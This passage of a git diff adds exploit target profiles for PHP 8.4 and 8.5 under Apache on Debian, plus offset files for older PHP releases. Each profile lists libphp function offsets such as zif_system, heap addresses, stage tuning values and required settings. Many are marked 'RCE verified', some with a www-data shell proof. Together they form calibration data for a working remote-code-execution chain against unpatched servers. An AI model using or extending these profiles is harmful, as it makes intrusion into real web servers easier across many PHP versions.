"php-8.4.16-bookworm-amd64", + "php_version": "8.4.16", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x446930", + "zval_ptr_dtor": "0x63de20", + "htdata": null + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f0e34800000", + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.4.17-bookworm-amd64.json b/profiles/8.4.17-bookworm-amd64.json new file mode 100644 index 0000000..9f4df2e --- /dev/null +++ b/profiles/8.4.17-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.4.17-bookworm-amd64", + "php_version": "8.4.17", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x446cb0", + "zval_ptr_dtor": "0x63e520", + "htdata": null + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7fa5fcc00000", + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.4.18-bookworm-amd64.json b/profiles/8.4.18-bookworm-amd64.json new file mode 100644 index 0000000..bb94732 --- /dev/null +++ b/profiles/8.4.18-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.4.18-bookworm-amd64", + "php_version": "8.4.18", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x446ff0", + "zval_ptr_dtor": "0x63eb20", + "htdata": null + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f26bd600000", + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.4.19-bookworm-amd64.json b/profiles/8.4.19-bookworm-amd64.json new file mode 100644 index 0000000..c02393c --- /dev/null +++ b/profiles/8.4.19-bookworm-amd64.json @@ -0,0 +1,63 @@ +{ + "name": "php-8.4.19-bookworm-amd64", + "php_version": "8.4.19", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x4472f0", + "zval_ptr_dtor": "0x63efe0", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ] + ], + "stage3_carrier": true, + "stage3_mode": "carrier" + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f0039400000", + "libphp_base": "0x7f003b09e000" + }, + "status": "RCE verified" +} diff --git a/profiles/8.4.2-bookworm-amd64.json b/profiles/8.4.2-bookworm-amd64.json new file mode 100644 index 0000000..b77f674 --- /dev/null +++ b/profiles/8.4.2-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.4.2-bookworm-amd64", + "php_version": "8.4.2", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x4398b0", + "zval_ptr_dtor": "0x628ea0", + "htdata": null + }, + "stages": { + "stage1_n": 0, + "stage1_forge_len": 0, + "stage2_t": null, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "unknown (CLI says Off)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": null, + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.4.20-bookworm-amd64.json b/profiles/8.4.20-bookworm-amd64.json new file mode 100644 index 0000000..8cb7269 --- /dev/null +++ b/profiles/8.4.20-bookworm-amd64.json @@ -0,0 +1,63 @@ +{ + "name": "php-8.4.20-bookworm-amd64", + "php_version": "8.4.20", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x447530", + "zval_ptr_dtor": "0x63f9e0", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ] + ], + "stage3_carrier": true, + "stage3_mode": "carrier" + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7fe078200000", + "libphp_base": "0x7fe079e2f000" + }, + "status": "RCE verified" +} diff --git a/profiles/8.4.25-bookworm-aarch64.json b/profiles/8.4.25-bookworm-aarch64.json index ca9f416..ca9c2cf 100644 --- a/profiles/8.4.25-bookworm-aarch64.json +++ b/profiles/8.4.25-bookworm-aarch64.json @@ -43,7 +43,8 @@ 31 ] ], - "stage3_carrier": true + "stage3_carrier": true, + "stage3_mode": "carrier" }, "config": { "memory_limit": 8388608, @@ -58,4 +59,4 @@ "status": "RCE verified", "oom_mb": 12, "arch": "aarch64" -} \ No newline at end of file +} diff --git a/profiles/8.4.25-bookworm-amd64.json b/profiles/8.4.25-bookworm-amd64.json new file mode 100644 index 0000000..409a675 --- /dev/null +++ b/profiles/8.4.25-bookworm-amd64.json @@ -0,0 +1,63 @@ +{ + "name": "php-8.4.25-bookworm-amd64", + "php_version": "8.4.25", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x464c70", + "zval_ptr_dtor": "0x65dc60", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ] + ], + "stage3_carrier": true, + "stage3_mode": "carrier" + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7fd9a0400000", + "libphp_base": "0x7fd9a2117000" + }, + "status": "RCE verified" +} diff --git a/profiles/8.4.26-bookworm-amd64.json b/profiles/8.4.26-bookworm-amd64.json index b25e851..11eca3b 100644 --- a/profiles/8.4.26-bookworm-amd64.json +++ b/profiles/8.4.26-bookworm-amd64.json @@ -43,7 +43,8 @@ 31 ] ], - "stage3_carrier": true + "stage3_carrier": true, + "stage3_mode": "carrier" }, "config": { "memory_limit": 8388608, @@ -64,4 +65,4 @@ "distro": "debian", "arch": "amd64", "oom_mb": 12 -} \ No newline at end of file +} diff --git a/profiles/8.4.5-bookworm-amd64.json b/profiles/8.4.5-bookworm-amd64.json new file mode 100644 index 0000000..8a6c443 --- /dev/null +++ b/profiles/8.4.5-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.4.5-bookworm-amd64", + "php_version": "8.4.5", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x43b660", + "zval_ptr_dtor": "0x62c420", + "htdata": null + }, + "stages": { + "stage1_n": 892, + "stage1_forge_len": 63, + "stage2_t": null, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7fed42600000", + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.4.6-bookworm-amd64.json b/profiles/8.4.6-bookworm-amd64.json new file mode 100644 index 0000000..5e6eba9 --- /dev/null +++ b/profiles/8.4.6-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.4.6-bookworm-amd64", + "php_version": "8.4.6", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x43b940", + "zval_ptr_dtor": "0x62ca40", + "htdata": null + }, + "stages": { + "stage1_n": 892, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7fe4ec800000", + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.4.7-bookworm-amd64.json b/profiles/8.4.7-bookworm-amd64.json new file mode 100644 index 0000000..c96b998 --- /dev/null +++ b/profiles/8.4.7-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.4.7-bookworm-amd64", + "php_version": "8.4.7", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x43b920", + "zval_ptr_dtor": "0x62cd60", + "htdata": null + }, + "stages": { + "stage1_n": 892, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x600000", + "libphp_base": null + }, + "status": "calibration failed: heap/libphp leak not reproduced" +} \ No newline at end of file diff --git a/profiles/8.4.8-bookworm-amd64.json b/profiles/8.4.8-bookworm-amd64.json new file mode 100644 index 0000000..c6a2cc2 --- /dev/null +++ b/profiles/8.4.8-bookworm-amd64.json @@ -0,0 +1,37 @@ +{ + "name": "php-8.4.8-bookworm-amd64", + "php_version": "8.4.8", + "branch": "8.4", + "fixed_in": "8.4.27", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": false, + "rce": false, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x43b940", + "zval_ptr_dtor": "0x62cd10", + "htdata": null + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": null, + "stage3_carrier": null + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f5e77a00000", + "libphp_base": "0x7f5e75d50000" + }, + "status": "leaks calibrated; stage 3 not verified" +} \ No newline at end of file diff --git a/profiles/8.5.0-bookworm-amd64.json b/profiles/8.5.0-bookworm-amd64.json new file mode 100644 index 0000000..e983642 --- /dev/null +++ b/profiles/8.5.0-bookworm-amd64.json @@ -0,0 +1,54 @@ +{ + "name": "php-8.5.0-bookworm-amd64", + "php_version": "8.5.0", + "branch": "8.5", + "fixed_in": "8.5.12", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x56a420", + "zval_ptr_dtor": "0x781fe0", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 7, + 7 + ], + [ + 7, + 7 + ], + [ + 7, + 7 + ] + ], + "stage3_carrier": false, + "stage3_mode": "vessel", + "stage3_early": 160, + "stage3_blobs": 15, + "stage3_vessel_index": 1 + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f6fc0800000", + "libphp_base": "0x7f6fbd200000" + }, + "status": "RCE verified (vessel stage 3; uid=33 www-data proof)" +} diff --git a/profiles/8.5.1-bookworm-amd64.json b/profiles/8.5.1-bookworm-amd64.json new file mode 100644 index 0000000..ca7496b --- /dev/null +++ b/profiles/8.5.1-bookworm-amd64.json @@ -0,0 +1,54 @@ +{ + "name": "php-8.5.1-bookworm-amd64", + "php_version": "8.5.1", + "branch": "8.5", + "fixed_in": "8.5.12", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x56a9a0", + "zval_ptr_dtor": "0x7826a0", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 7, + 7 + ], + [ + 7, + 7 + ], + [ + 7, + 7 + ] + ], + "stage3_carrier": false, + "stage3_mode": "vessel", + "stage3_early": 160, + "stage3_blobs": 15, + "stage3_vessel_index": 1 + }, + "config": { + "memory_limit": -1, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7fa454800000", + "libphp_base": "0x7fa456400000" + }, + "status": "RCE verified (vessel stage 3; uid=33 www-data proof)" +} diff --git a/profiles/8.5.10-bookworm-aarch64.json b/profiles/8.5.10-bookworm-aarch64.json index 025f1d0..8541ce1 100644 --- a/profiles/8.5.10-bookworm-aarch64.json +++ b/profiles/8.5.10-bookworm-aarch64.json @@ -43,7 +43,8 @@ 31 ] ], - "stage3_carrier": true + "stage3_carrier": true, + "stage3_mode": "carrier" }, "config": { "memory_limit": -1, @@ -58,4 +59,4 @@ "status": "RCE verified", "oom_mb": 12, "arch": "aarch64" -} \ No newline at end of file +} diff --git a/profiles/8.5.10-bookworm-amd64.json b/profiles/8.5.10-bookworm-amd64.json new file mode 100644 index 0000000..b9ecd9c --- /dev/null +++ b/profiles/8.5.10-bookworm-amd64.json @@ -0,0 +1,63 @@ +{ + "name": "php-8.5.10-bookworm-amd64", + "php_version": "8.5.10", + "branch": "8.5", + "fixed_in": "8.5.12", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x598d60", + "zval_ptr_dtor": "0x7b3860", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ], + [ + 31, + 31 + ] + ], + "stage3_carrier": true, + "stage3_mode": "carrier" + }, + "config": { + "memory_limit": -1, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f5973400000", + "libphp_base": "0x7f596fe00000" + }, + "status": "RCE verified" +} diff --git a/profiles/8.5.11-bookworm-aarch64.json b/profiles/8.5.11-bookworm-aarch64.json index 1ccdcba..b9e8a7e 100644 --- a/profiles/8.5.11-bookworm-aarch64.json +++ b/profiles/8.5.11-bookworm-aarch64.json @@ -43,7 +43,8 @@ 31 ] ], - "stage3_carrier": true + "stage3_carrier": true, + "stage3_mode": "carrier" }, "config": { "memory_limit": -1, @@ -63,4 +64,4 @@ "distro": "debian", "arch": "aarch64", "oom_mb": 12 -} \ No newline at end of file +} diff --git a/profiles/8.5.11-bookworm-amd64.json b/profiles/8.5.11-bookworm-amd64.json index 63d48c9..11b3d73 100644 --- a/profiles/8.5.11-bookworm-amd64.json +++ b/profiles/8.5.11-bookworm-amd64.json @@ -43,7 +43,8 @@ 31 ] ], - "stage3_carrier": true + "stage3_carrier": true, + "stage3_mode": "carrier" }, "config": { "memory_limit": -1, @@ -58,4 +59,4 @@ "status": "RCE verified", "oom_mb": 12, "arch": "amd64" -} \ No newline at end of file +} diff --git a/profiles/8.5.2-bookworm-amd64.json b/profiles/8.5.2-bookworm-amd64.json new file mode 100644 index 0000000..b1ef9ed --- /dev/null +++ b/profiles/8.5.2-bookworm-amd64.json @@ -0,0 +1,54 @@ +{ + "name": "php-8.5.2-bookworm-amd64", + "php_version": "8.5.2", + "branch": "8.5", + "fixed_in": "8.5.12", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x56bca0", + "zval_ptr_dtor": "0x783de0", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 7, + 7 + ], + [ + 7, + 7 + ], + [ + 7, + 7 + ] + ], + "stage3_carrier": false, + "stage3_mode": "vessel", + "stage3_early": 160, + "stage3_blobs": 15, + "stage3_vessel_index": 1 + }, + "config": { + "memory_limit": -1, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f13bb000000", + "libphp_base": "0x7f13bcc00000" + }, + "status": "RCE verified (vessel stage 3; uid=33 www-data proof)" +} diff --git a/profiles/8.5.3-bookworm-amd64.json b/profiles/8.5.3-bookworm-amd64.json new file mode 100644 index 0000000..10a3b2f --- /dev/null +++ b/profiles/8.5.3-bookworm-amd64.json @@ -0,0 +1,54 @@ +{ + "name": "php-8.5.3-bookworm-amd64", + "php_version": "8.5.3", + "branch": "8.5", + "fixed_in": "8.5.12", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x56d1e0", + "zval_ptr_dtor": "0x785620", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 7, + 7 + ], + [ + 7, + 7 + ], + [ + 7, + 7 + ] + ], + "stage3_carrier": false, + "stage3_mode": "vessel", + "stage3_early": 160, + "stage3_blobs": 15, + "stage3_vessel_index": 1 + }, + "config": { + "memory_limit": -1, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f5958c00000", + "libphp_base": "0x7f5955400000" + }, + "status": "RCE verified (vessel stage 3; uid=33 www-data proof)" +} diff --git a/profiles/8.5.4-bookworm-amd64.json b/profiles/8.5.4-bookworm-amd64.json new file mode 100644 index 0000000..2f12b0e --- /dev/null +++ b/profiles/8.5.4-bookworm-amd64.json @@ -0,0 +1,54 @@ +{ + "name": "php-8.5.4-bookworm-amd64", + "php_version": "8.5.4", + "branch": "8.5", + "fixed_in": "8.5.12", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x5705e0", + "zval_ptr_dtor": "0x788ba0", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 7, + 7 + ], + [ + 7, + 7 + ], + [ + 7, + 7 + ] + ], + "stage3_carrier": false, + "stage3_mode": "vessel", + "stage3_early": 160, + "stage3_blobs": 15, + "stage3_vessel_index": 1 + }, + "config": { + "memory_limit": -1, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f5bb5c00000", + "libphp_base": "0x7f5bb2600000" + }, + "status": "RCE verified (vessel stage 3; uid=33 www-data proof)" +} diff --git a/profiles/8.5.5-bookworm-amd64.json b/profiles/8.5.5-bookworm-amd64.json new file mode 100644 index 0000000..3c2fa59 --- /dev/null +++ b/profiles/8.5.5-bookworm-amd64.json @@ -0,0 +1,54 @@ +{ + "name": "php-8.5.5-bookworm-amd64", + "php_version": "8.5.5", + "branch": "8.5", + "fixed_in": "8.5.12", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x570de0", + "zval_ptr_dtor": "0x789ae0", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 7, + 7 + ], + [ + 7, + 7 + ], + [ + 7, + 7 + ] + ], + "stage3_carrier": false, + "stage3_mode": "vessel", + "stage3_early": 160, + "stage3_blobs": 15, + "stage3_vessel_index": 1 + }, + "config": { + "memory_limit": 8388608, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7fd9c7600000", + "libphp_base": "0x7fd9c9200000" + }, + "status": "RCE verified (vessel stage 3; uid=33 www-data proof)" +} diff --git a/profiles/8.5.6-bookworm-amd64.json b/profiles/8.5.6-bookworm-amd64.json new file mode 100644 index 0000000..1cfb7ba --- /dev/null +++ b/profiles/8.5.6-bookworm-amd64.json @@ -0,0 +1,54 @@ +{ + "name": "php-8.5.6-bookworm-amd64", + "php_version": "8.5.6", + "branch": "8.5", + "fixed_in": "8.5.12", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x595160", + "zval_ptr_dtor": "0x7ae6e0", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 7, + 7 + ], + [ + 7, + 7 + ], + [ + 7, + 7 + ] + ], + "stage3_carrier": false, + "stage3_mode": "vessel", + "stage3_early": 160, + "stage3_blobs": 15, + "stage3_vessel_index": 1 + }, + "config": { + "memory_limit": -1, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7fe214600000", + "libphp_base": "0x7fe216200000" + }, + "status": "RCE verified (vessel stage 3; uid=33 www-data proof)" +} diff --git a/profiles/8.5.7-bookworm-amd64.json b/profiles/8.5.7-bookworm-amd64.json new file mode 100644 index 0000000..f11ff36 --- /dev/null +++ b/profiles/8.5.7-bookworm-amd64.json @@ -0,0 +1,54 @@ +{ + "name": "php-8.5.7-bookworm-amd64", + "php_version": "8.5.7", + "branch": "8.5", + "fixed_in": "8.5.12", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x5960e0", + "zval_ptr_dtor": "0x7b0460", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 7, + 7 + ], + [ + 7, + 7 + ], + [ + 7, + 7 + ] + ], + "stage3_carrier": false, + "stage3_mode": "vessel", + "stage3_early": 160, + "stage3_blobs": 15, + "stage3_vessel_index": 1 + }, + "config": { + "memory_limit": -1, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f728f800000", + "libphp_base": "0x7f728c000000" + }, + "status": "RCE verified (vessel stage 3; uid=33 www-data proof)" +} diff --git a/profiles/8.5.8-bookworm-amd64.json b/profiles/8.5.8-bookworm-amd64.json new file mode 100644 index 0000000..23ce333 --- /dev/null +++ b/profiles/8.5.8-bookworm-amd64.json @@ -0,0 +1,54 @@ +{ + "name": "php-8.5.8-bookworm-amd64", + "php_version": "8.5.8", + "branch": "8.5", + "fixed_in": "8.5.12", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x596620", + "zval_ptr_dtor": "0x7b0d60", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 7, + 7 + ], + [ + 7, + 7 + ], + [ + 7, + 7 + ] + ], + "stage3_carrier": false, + "stage3_mode": "vessel", + "stage3_early": 160, + "stage3_blobs": 15, + "stage3_vessel_index": 1 + }, + "config": { + "memory_limit": -1, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7f6ac3c00000", + "libphp_base": "0x7f6ac0600000" + }, + "status": "RCE verified (vessel stage 3; uid=33 www-data proof)" +} diff --git a/profiles/8.5.9-bookworm-amd64.json b/profiles/8.5.9-bookworm-amd64.json new file mode 100644 index 0000000..0446a5c --- /dev/null +++ b/profiles/8.5.9-bookworm-amd64.json @@ -0,0 +1,54 @@ +{ + "name": "php-8.5.9-bookworm-amd64", + "php_version": "8.5.9", + "branch": "8.5", + "fixed_in": "8.5.12", + "sapi": "apache2handler", + "arch": "amd64", + "distro": "debian", + "verified": true, + "rce": true, + "oom_mb": 12, + "upstream_profile": "bookworm", + "libphp": { + "zif_system": "0x598160", + "zval_ptr_dtor": "0x7b29a0", + "htdata": "0x690d8" + }, + "stages": { + "stage1_n": 841, + "stage1_forge_len": 63, + "stage2_t": 406, + "stage2_v": 16, + "stage3_pads": [ + [ + 7, + 7 + ], + [ + 7, + 7 + ], + [ + 7, + 7 + ] + ], + "stage3_carrier": false, + "stage3_mode": "vessel", + "stage3_early": 160, + "stage3_blobs": 15, + "stage3_vessel_index": 1 + }, + "config": { + "memory_limit": -1, + "display_errors": "On (web SAPI, stage-1 leak succeeded)", + "session_upload_progress": "On", + "workers": 1 + }, + "measured": { + "chunk_base": "0x7fb34ba00000", + "libphp_base": "0x7fb34d400000" + }, + "status": "RCE verified (vessel stage 3; uid=33 www-data proof)" +} diff --git a/profiles/offsets/7.4.33-amd64.json b/profiles/offsets/7.4.33-amd64.json new file mode 100644 index 0000000..fb6d623 --- /dev/null +++ b/profiles/offsets/7.4.33-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:7.4-apache", + "php_version": "7.4.33", + "branch": "7.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x335850", + "zval_ptr_dtor": "0x417d60", + "ps_globals": "0xd37f80" + }, + "libphp_sha256": "5692da4ee4abb6f14b4257ca52cfdd08fc4aa9cf95fde0192445c070923a4bf0", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.0.30-amd64.json b/profiles/offsets/8.0.30-amd64.json new file mode 100644 index 0000000..fd12e86 --- /dev/null +++ b/profiles/offsets/8.0.30-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.0-apache", + "php_version": "8.0.30", + "branch": "8.0", + "arch": "amd64", + "libphp": { + "zif_system": "0x3495d0", + "zval_ptr_dtor": "0x4319a0", + "ps_globals": "0xe585c0" + }, + "libphp_sha256": "0f2d31b76eb19814dc88e2a0cc7d57fe7f116168df8f8857fa9150fb5b5f7949", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.1.34-amd64.json b/profiles/offsets/8.1.34-amd64.json new file mode 100644 index 0000000..f26a533 --- /dev/null +++ b/profiles/offsets/8.1.34-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.1-apache", + "php_version": "8.1.34", + "branch": "8.1", + "arch": "amd64", + "libphp": { + "zif_system": "0x36f470", + "zval_ptr_dtor": "0x457150", + "ps_globals": 